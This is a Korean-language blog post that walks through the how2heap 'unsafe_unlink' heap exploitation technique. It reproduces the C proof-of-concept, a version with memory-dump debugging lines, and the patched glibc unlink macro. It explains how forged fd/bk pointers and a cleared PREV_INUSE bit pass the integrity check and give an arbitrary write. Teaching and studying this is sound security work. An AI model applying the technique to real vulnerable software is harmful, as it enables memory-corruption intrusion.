-
[Heap Exploit] Unsafe_unlink - how2heap verHack/Pwnable 2016. 11. 8. 02:3112345678910111213141516171819202122232425262728293031323334#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>uint64_t *chunk0_ptr;int main(){int malloc_size = 0x80; //we want to be big enough not to use fastbinsint header_size = 2;chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);uint64_t *chunk1_hdr = chunk1_ptr - header_size;chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;free(chunk1_ptr);char victim_string[8];strcpy(victim_string,"Hello!~");chunk0_ptr[3] = (uint64_t) victim_string;chunk0_ptr[0] = 0x4141414142424242LL;printf("New Value: %s\n",victim_string);}
cs how2heap 에서의 코드로 unsafe_unlink에 대해 써보려한다.
malloc을 하되 0x80 즉, fastbin의 사이즈를 초과하여 fast bin을 선택하지않는다.
unlink는 한번 패치된 적이 있다 아래 코드를 보자
patched unlink
12345678910#define unlink(P, BK, FD) {FD = P->fd;BK = P->bk;if (__builtin_expect (FD->bk != P || BK->fd != P, 0))malloc_printerr (check_action, "corrupted double-linked list", P);else {FD->bk = BK;BK->fd = FD;}}cs FD와 BK가 변조되었는지 확인하고 false 를 반환하면 커럽션 에러를 띄운다.
이를 우회하기위한 기법이 unsafe_unlink 기법이다.
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);해당 코드에서 FD와 BK검증에서 걸리지않도록 malloc 포인터를 가리키게끔한다. ( 각각 fd, bk )
uint64_t *chunk1_hdr = chunk1_ptr - header_size;chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;chunk1의 prev_size를 0x80으로 맞춰주고, chunk1의 size chunk에서 비트연산을통해 0x90으로 만들어준다. ( PREV_INUSE -> 0 )
prev_size공간에 값을 넣어주고 PREV_INUSE 플래그를 0으로만듬으로써, 해당 chunk0은 free된것으로 오해하게된다.
free(chunk1_ptr);
free를 함으로써, chunk0이 free된것처럼 속였고, chunk1이 free되어 두 청크가 연속으로 free되, 병합이 일어나 unlink 매크로가 호출되게된다.
char victim_string[8];strcpy(victim_string,"Hello!~");chunk0_ptr[3] = (uint64_t) victim_string;chunk0_ptr[0] = 0x4141414142424242LL;printf("New Value: %s\n",victim_string);자기 자신을 임의의 위치로 덮어쓸수있고, 해당 데이터에 영역을 덮어써주면, 그 위치에 값을 쓸수있다.
아래 코드는 실행시, 어떻게 변하는지 보기쉽게 몇줄 추가한 코드이다.
dumpcode 추가한 코드
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <dumpcode.h>uint64_t *chunk0_ptr;int main(){int malloc_size = 0x80; //we want to be big enough not to use fastbinsint header_size = 2;chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1chunk0_ptr[2] = (uint64_t) &chunk0_ptr-24;chunk0_ptr[3] = (uint64_t) &chunk0_ptr-16;printf("chunk0: %p\n",chunk0_ptr);dumpcode(chunk0_ptr,256);printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);uint64_t *chunk1_hdr = chunk1_ptr - header_size;printf("chunk1_hdr: %p\n",chunk1_hdr);chunk1_hdr[0] = malloc_size;chunk1_hdr[1] &= ~1;dumpcode(chunk0_ptr,256);free(chunk1_ptr);dumpcode(chunk0_ptr,256);char victim_string[8];strcpy(victim_string,"Hello!~");printf("chunk0_ptr: %p\n",chunk0_ptr);dumpcode(chunk0_ptr[3],8);chunk0_ptr[3] = (uint64_t) victim_string;printf("Overwrite chunk0_ptr[0] = %p\n",chunk0_ptr[0]);dumpcode(chunk0_ptr,100);printf("Original value: %s\n",victim_string);chunk0_ptr[0] = 0x4141414142424242LL;printf("New Value: %s\n",victim_string);}cs 'Hack > Pwnable' 카테고리의 다른 글
[BlackHat Heap] heap_info structure (0) 2016.11.29 Allocate Heap with fgets (0) 2016.11.17 heap 문제 시나리오들.. (0) 2016.11.08 [Heap exploit] unsorted bin attack (0) 2016.10.26 [Heap exploit] fastbin unlink (0) 2016.10.19